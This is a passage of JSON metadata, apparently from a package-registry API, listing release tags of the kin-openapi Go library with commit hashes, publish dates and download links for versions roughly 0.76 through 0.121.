7d03195bde822fdfe798fd04dbee5b0e3109d9","kind":"commit","published_at":"2023-11-27T12:53:30.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.121.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.121.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.121.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.121.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.121.0/manifests"},{"name":"v0.120.0","sha":"d14f7e054c72087d3ba0b2a75fc82bf840898cb7","kind":"commit","published_at":"2023-09-07T17:59:29.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.120.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.120.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.120.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.120.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.120.0/manifests"},{"name":"v0.119.0","sha":"14c85654af4c946a7457ecfafbf8b1e62446a275","kind":"commit","published_at":"2023-08-30T15:41:32.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.119.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.119.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.119.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.119.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.119.0/manifests"},{"name":"v0.118.0","sha":"5a6f97ed7fa17899e74dee9089fcbc63c70b8422","kind":"commit","published_at":"2023-06-07T14:02:03.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.118.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.118.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.118.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.118.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.118.0/manifests"},{"name":"v0.117.0","sha":"b8c06e7b974d90aaf6dad2406f1b4e01e937a8c7","kind":"commit","published_at":"2023-05-18T09:36:51.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.117.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.117.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.117.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.117.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.117.0/manifests"},{"name":"v0.116.0","sha":"994d4f01c1e8dd613805668a7c10b568547f7789","kind":"commit","published_at":"2023-04-18T13:23:23.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.116.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.116.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.116.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.116.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.116.0/manifests"},{"name":"v0.115.0","sha":"e53fe386960a0f532637da538535f22c9a9249e6","kind":"commit","published_at":"2023-02-27T10:49:09.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.115.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.115.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.115.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.115.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.115.0/manifests"},{"name":"v0.114.0","sha":"ecb06bc5c05b010b9c1322486ff74f2178f7927c","kind":"commit","published_at":"2023-02-02T14:35:40.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.114.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.114.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.114.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.114.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.114.0/manifests"},{"name":"v0.113.0","sha":"5c0555e4120f1ec285e261e69933701557557abc","kind":"commit","published_at":"2023-01-20T16:21:59.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.113.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.113.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.113.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.113.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.113.0/manifests"},{"name":"v0.112.0","sha":"46e0df8ae84cbb51b7c672a0bb8ebb6995d28c7a","kind":"commit","published_at":"2022-12-20T09:29:35.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.112.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.112.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.112.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.112.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.112.0/manifests"},{"name":"v0.111.0","sha":"2975a21ed6b57ea97427c31a297c368fb1ce35de","kind":"commit","published_at":"2022-12-16T18:58:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.111.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.111.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.111.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.111.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.111.0/manifests"},{"name":"v0.110.0","sha":"7f75486fb2e67e621a4b2d8a649be713a6704501","kind":"commit","published_at":"2022-11-29T17:38:44.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.110.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.110.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.110.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.110.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.110.0/manifests"},{"name":"v0.109.0","sha":"cd217fe551cc36fcc74326076ec9fa0a38cc0920","kind":"commit","published_at":"2022-11-22T15:05:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.109.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.109.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.109.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.109.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.109.0/manifests"},{"name":"v0.108.0","sha":"d89a84e1874cd5d42c39dc3fc0b54f7885fa9453","kind":"commit","published_at":"2022-11-09T10:24:56.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.108.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.108.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.108.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.108.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.108.0/manifests"},{"name":"v0.107.0","sha":"285135d2190e2a39281a7e06564d4dbccc117b43","kind":"commit","published_at":"2022-10-27T14:47:57.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.107.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.107.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.107.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.107.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.107.0/manifests"},{"name":"v0.106.0","sha":"ac1811368b118e6c46fa9eede7541c9c949ec4f8","kind":"commit","published_at":"2022-10-16T11:04:46.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.106.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.106.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.106.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.106.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.106.0/manifests"},{"name":"v0.105.0","sha":"330c14297a9f2cb0d31d1516106be573ab05f17d","kind":"commit","published_at":"2022-10-13T13:30:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.105.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.105.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.105.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.105.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.105.0/manifests"},{"name":"v0.104.0","sha":"b31a4bb2dcd523b1477da8854f0f75859cd314b3","kind":"commit","published_at":"2022-10-07T16:46:36.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.104.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.104.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.104.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.104.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.104.0/manifests"},{"name":"v0.103.0","sha":"a8f69f469eb9c4c423fefa06433c90edc0bfaa45","kind":"commit","published_at":"2022-09-21T10:10:18.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.103.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.103.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.103.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.103.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.103.0/manifests"},{"name":"v0.102.0","sha":"68016e06befbe1aa795cf3e310d932b9abb412ba","kind":"commit","published_at":"2022-09-16T09:29:30.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.102.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.102.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.102.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.102.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.102.0/manifests"},{"name":"v0.101.0","sha":"46603c3b350c28a74763bda34fd4fe2142a76145","kind":"commit","published_at":"2022-09-14T15:00:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.101.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.101.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.101.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.101.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.101.0/manifests"},{"name":"v0.100.0","sha":"5a61040f9c83432717fde755d16649eca5e21038","kind":"commit","published_at":"2022-08-31T09:06:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.100.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.100.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.100.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.100.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.100.0/manifests"},{"name":"v0.99.0","sha":"40bb5a1e2d2b3b22545d5aec7005fa0e6fd2f06d","kind":"commit","published_at":"2022-08-29T14:39:51.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.99.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.99.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.99.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.99.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.99.0/manifests"},{"name":"v0.98.0","sha":"fd4bae81cff0aae76fbea0f57ee8be5b1d9ec4f0","kind":"commit","published_at":"2022-07-31T13:50:11.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.98.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.98.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.98.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.98.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.98.0/manifests"},{"name":"v0.97.0","sha":"32445850faa0551385d614e844b344006c0a8f22","kind":"commit","published_at":"2022-06-12T10:19:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.97.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.97.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.97.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.97.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.97.0/manifests"},{"name":"v0.96.0","sha":"bcecaeee449cfdeaa5696dad0348ee579bbd758c","kind":"commit","published_at":"2022-05-31T16:19:07.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.96.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.96.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.96.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.96.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.96.0/manifests"},{"name":"v0.95.0","sha":"221a29220d72ba3384a380e316e38f262b97e99f","kind":"commit","published_at":"2022-05-30T16:56:56.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.95.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.95.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.95.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.95.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.95.0/manifests"},{"name":"v0.94.0","sha":"8287d3697f36b53c0aca5926bab441b0de465ae7","kind":"commit","published_at":"2022-03-30T14:53:36.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.94.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.94.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.94.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.94.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.94.0/manifests"},{"name":"v0.93.0","sha":"a5284e92dfa93257a86969175f0c1aedeb34bdfd","kind":"commit","published_at":"2022-03-24T20:22:09.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.93.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.93.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.93.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.93.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.93.0/manifests"},{"name":"v0.92.0","sha":"590c85c2ecb0a6217e555bb298e5df2028145473","kind":"commit","published_at":"2022-03-11T21:43:28.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.92.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.92.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.92.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.92.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.92.0/manifests"},{"name":"v0.91.0","sha":"1013da349382b4fe9be17236c140347fd8139c62","kind":"commit","published_at":"2022-03-07T07:22:30.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.91.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.91.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.91.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.91.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.91.0/manifests"},{"name":"v0.90.0","sha":"d54840d41c35ccd1e55a27df3ea852eabb3864bf","kind":"commit","published_at":"2022-02-23T07:15:07.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.90.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.90.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.90.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.90.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.90.0/manifests"},{"name":"v0.89.0","sha":"0846d700650012c02a16668ebd2bf1e77e9a1669","kind":"commit","published_at":"2022-02-03T19:26:53.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.89.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.89.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.89.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.89.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.89.0/manifests"},{"name":"v0.88.0","sha":"c95dd68aef43fa9ac8c1f52f169b387d7681626a","kind":"commit","published_at":"2022-01-04T21:56:56.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.88.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.88.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.88.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.88.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.88.0/manifests"},{"name":"v0.87.0","sha":"2a1c4b13dbb31687bd9d72f5e706d1d700e7e19e","kind":"commit","published_at":"2021-12-20T13:42:02.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.87.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.87.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.87.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.87.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.87.0/manifests"},{"name":"v0.86.0","sha":"2c128aba366c81723b47bf026adff25b9f259d9b","kind":"commit","published_at":"2021-12-12T19:04:16.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.86.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.86.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.86.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.86.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.86.0/manifests"},{"name":"v0.85.0","sha":"a2254d99982d94a6774ef4cbcdf1ccb03d56bcff","kind":"commit","published_at":"2021-12-03T09:49:46.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.85.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.85.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.85.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.85.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.85.0/manifests"},{"name":"v0.84.0","sha":"f1075be54150633faa1e25d0e9e7325d58228d57","kind":"commit","published_at":"2021-12-02T15:35:26.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.84.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.84.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.84.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.84.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.84.0/manifests"},{"name":"v0.83.0","sha":"0db2d4c3583875f4fe65b47ccb51662a20ed32a9","kind":"commit","published_at":"2021-11-22T11:51:01.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.83.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.83.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.83.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.83.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.83.0/manifests"},{"name":"v0.82.0","sha":"41c2da717f780490b4cc26c55261563346f98851","kind":"commit","published_at":"2021-11-18T16:05:13.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.82.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.82.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.82.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.82.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.82.0/manifests"},{"name":"v0.81.0","sha":"7aa3c9ef96a384ad58c7ef84e9779c7db16a1dcd","kind":"commit","published_at":"2021-11-08T09:27:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.81.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.81.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.81.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.81.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.81.0/manifests"},{"name":"v0.80.0","sha":"e9b36dac1a2890474ae44cfcf6446c00393527b5","kind":"commit","published_at":"2021-10-21T15:42:22.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.80.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.80.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.80.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.80.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.80.0/manifests"},{"name":"v0.79.0","sha":"d5022c7c2b1bd9148457c553d40d08200b46871d","kind":"commit","published_at":"2021-10-11T18:44:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.79.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.79.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.79.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.79.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.79.0/manifests"},{"name":"v0.78.0","sha":"12311204341890c3056422d2b71945dea7906d8b","kind":"commit","published_at":"2021-10-08T05:54:13.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.78.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.78.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.78.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.78.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.78.0/manifests"},{"name":"v0.77.0","sha":"5a162f64354ef69fb4b52e4343f45bd224bf6f03","kind":"commit","published_at":"2021-10-07T12:10:06.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.77.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.77.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.77.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.77.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.77.0/manifests"},{"name":"v0.76.0","sha":"f58924543e3f7a5e41383a2513933fa27477a02e","kind":"commit","published_at":"2021-09-21T09:51:44.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.76.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.76.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.76.0","tag_url":"https://repos.ec